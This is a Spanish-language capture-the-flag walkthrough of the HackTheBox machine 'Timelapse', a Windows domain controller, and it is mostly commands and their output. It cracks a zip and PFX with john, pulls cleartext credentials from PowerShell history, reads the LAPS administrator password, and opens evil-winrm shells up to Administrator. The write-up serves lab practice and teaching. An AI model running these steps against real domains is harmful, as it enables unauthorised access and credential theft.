xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Timelapse



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, en Windows es recomendable usar el parametro -Pn para forzar el escaneo aunque no reciba respuesta de los paquetes ping

❯ nmap 10.10.11.152 -Pn
Nmap scan report for 10.10.11.152  
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown

Con crackmapexec a nivel de smb podemos ver que nos detecta la versión de windows que esta corriendo y el dominio de la máquina timelapse.htb

❯ crackmapexec smb 10.10.11.152
SMB         10.10.11.152  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)  

Para que sepa a donde cuando le pasemos el dominio, lo agregamos al archivo /etc/hosts con la ip designada ademas del nombre del equipo como otro

❯ echo "10.10.11.152 timelapse.htb dc01.timelapse.htb" | sudo tee -a /etc/hosts  

Con smbclient podemos listar los recursos compartidos a nivel de smb y encontramos uno fuera de lo usual, el recurso Shares

❯ crackmapexec smb timelapse.htb -u null -p '' --shares
SMB         timelapse.htb   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)  
SMB         timelapse.htb   445    DC01             [+] timelapse.htb\null: 
SMB         timelapse.htb   445    DC01             [*] Enumerated shares
SMB         timelapse.htb   445    DC01             Share           Permissions     Remark
SMB         timelapse.htb   445    DC01             -----           -----------     ------
SMB         timelapse.htb   445    DC01             ADMIN$                          Remote Admin
SMB         timelapse.htb   445    DC01             C$                              Default share
SMB         timelapse.htb   445    DC01             IPC$            READ            Remote IPC
SMB         timelapse.htb   445    DC01             NETLOGON                        Logon server share 
SMB         timelapse.htb   445    DC01             Shares          READ            
SMB         timelapse.htb   445    DC01             SYSVOL                          Logon server share

Nos conectamos al recurso Shares, al entrar al directorio Dev encontramos un archivo con un nombre bastante llamativo winrm_backup.zip, lo descargamos con get

❯ impacket-smbclient timelapse.htb/null@dc01.timelapse.htb -no-pass  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use Shares
# ls
drw-rw-rw-          0  Mon Oct 25 15:55:14 2021 .
drw-rw-rw-          0  Mon Oct 25 15:55:14 2021 ..
drw-rw-rw-          0  Mon Oct 25 19:40:06 2021 Dev
drw-rw-rw-          0  Mon Oct 25 15:55:14 2021 HelpDesk
# cd Dev
# ls
drw-rw-rw-          0  Mon Oct 25 19:40:06 2021 .
drw-rw-rw-          0  Mon Oct 25 19:40:06 2021 ..
-rw-rw-rw-       2611  Mon Oct 25 21:05:30 2021 winrm_backup.zip
# get winrm_backup.zip
#


Shell - legacyy


Listando lo que tiene el zip sin descomprimirlo nos encontramos un archivo pfx y por el nombre sabemos que sirve para la autenticación como el usuario legacyy

❯ 7z l winrm_backup.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21

Scanning the drive for archives:
1 file, 2611 bytes (3 KiB)

Listing archive: winrm_backup.zip

--
Path = winrm_backup.zip
Type = zip
Physical Size = 2611

   Date      Time    Attr     Size   Compressed  Name
------------------- ----- -------- ------------  ------------------------
2021-10-25 08:21:20 .....     2555         2405  legacyy_dev_auth.pfx
------------------- ----- -------- ------------  ------------------------  
2021-10-25 08:21:20           2555         2405  1 files

Sabemos el contenido del zip pero para leer el contenido del pfx necesitamos descomprimirlo, al intentar unzipearlo nos pide una contraseña, esta protegido

❯ unzip winrm_backup.zip 
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:  

Podemos usar zip2john para generar un hash para después aplicar fuerza bruta con el rockyou, john consigue encontrar la contraseña valida supremelegacy

❯ zip2john winrm_backup.zip > hash
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: 2b chk, TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683  

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Unzipeamos el archivo comprimido con la contraseña y obtenemos el archivo pfx

❯ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: supremelegacy  
  inflating: legacyy_dev_auth.pfx

❯ ls legacyy_dev_auth.pfx
 legacyy_dev_auth.pfx

Podemos extraer un certificado y una clave privada para autenticarnos contra winrm del pfx usando la herramienta certipy, pero al hacerlo nos pide contraseña

❯ certipy cert -pfx legacyy_dev_auth.pfx -nokey -out legacyy.crt  
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[-] Got error: Invalid password or PKCS12 data
[-] Use -debug to print a stacktrace

Igual que con el zip, hacemos lo mismo con el pfx, usando pfx2john creamos un hash y aplicando fuerza bruta obtenemos la contraseña thuglegacy

❯ pfx2john legacyy_dev_auth.pfx > hash

❯ john -w:passwords hash                 
Using default input encoding: UTF-8
Loaded 1 password hash (pfx [PKCS12 PBE (.pfx, .p12) (SHA-1 to SHA-512) 128/128 XOP 4x2])  
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ahora que tenemos la contraseña con ayuda de certipy podemos extraer el certificado y la clave privada del archivo pfx para asi poder autenticarnos a winrm

❯ certipy cert -pfx legacyy_dev_auth.pfx -nokey -out legacyy.crt -password thuglegacy  
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'legacyy.crt'

❯ certipy cert -pfx legacyy_dev_auth.pfx -nocert -out legacyy.key -password thuglegacy  
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Writing private key to 'legacyy.key'

Con evil-winrm por el puerto ssl 5986 podemos autenticarnos pasandole esos 2 archivos, como resultado obtenemos una shell como el usuario legacyy

❯ evil-winrm -S -i timelapse.htb -c legacyy.crt -k legacyy.key
PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
PS C:\Users\legacyy\Documents> type ..\Desktop\user.txt  
81a**************************2ba
PS C:\Users\legacyy\Documents>


Shell - svc_deploy


Una de las cosas a probar el el historial de powershell que siempre tiene la misma ruta, al leerla encontramos credenciales en texto claro de el usuario svc_deploy

PS C:\Users\legacyy\Documents> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt  
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
PS C:\Users\legacyy\Documents>

Mirando la información del usuario svc_deploy podemos ver que es parte del grupo Remote Management Users por lo que deberia poder conectarse a winrm

PS C:\Users\legacyy\Documents> Get-ADPrincipalGroupMembership svc_deploy | Select Name  

Name
----
Domain Users
Remote Management Users
LAPS_Readers

PS C:\Users\legacyy\Documents>

Nos conectamos como el usuario svc_deploy con evil-winrm, obtenemos una shell

❯ evil-winrm -S -i timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'  
PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy
PS C:\Users\svc_deploy\Documents>


Shell - Administrator


Repasemos de nuevo, el usuario en el que estamos actualmente también es parte del grupo LAPS_Readers, Laps muchas veces permite en los ordenadores del dominio a usuarios leer contraseñas de Administradores dependiendo los permisos

PS C:\Users\legacyy\Documents> Get-ADPrincipalGroupMembership svc_deploy | Select Name  

Name
----
Domain Users
Remote Management Users
LAPS_Readers

PS C:\Users\legacyy\Documents>

Para obtener la contraseña de Administrator basta con leer del equipo DC01 del directorio activo la propiedad ms-mcs-admpwd

PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -Property 'ms-mcs-admpwd'  

DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
ms-mcs-admpwd     : 2mpY8H70i(28Q@B0M8r0c0cF
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

PS C:\Users\svc_deploy\Documents>

Otra forma de obtener la contraseña es a traves de crackmapexec en el servicio ldap usando el modulo laps, esto como output nos muestra la contraseña

❯ crackmapexec ldap timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps 
SMB         timelapse.htb   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        timelapse.htb   389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV 
LAPS        timelapse.htb   389    DC01             [*] Getting LAPS Passwords
LAPS        timelapse.htb   389    DC01             Computer: DC01$                Password: 2mpY8H70i(28Q@B0M8r0c0cF

Usamos la contraseña que se nos muestra para conectarnos con evil-winrm, obtenemos una shell como Administrator sin embargo no esta la flag en el escritorio

❯ evil-winrm -S -i timelapse.htb -u Administrator -p '2mpY8H70i(28Q@B0M8r0c0cF'  
PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
PS C:\Users\Administrator\Documents> dir ..\Desktop
PS C:\Users\Administrator\Documents>

Desde el directorio C:\Users buscamos de manera recursiva el root.txt, esta en el escritorio de TRX, asi que podemos simplemente leerlo

PS C:\Users> dir -recurse root.txt

    Directory: C:\Users\TRX\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/16/2023   1:10 AM             34 root.txt  

PS C:\Users> type C:\Users\TRX\Desktop\root.txt
c1d**************************431
PS C:\Users>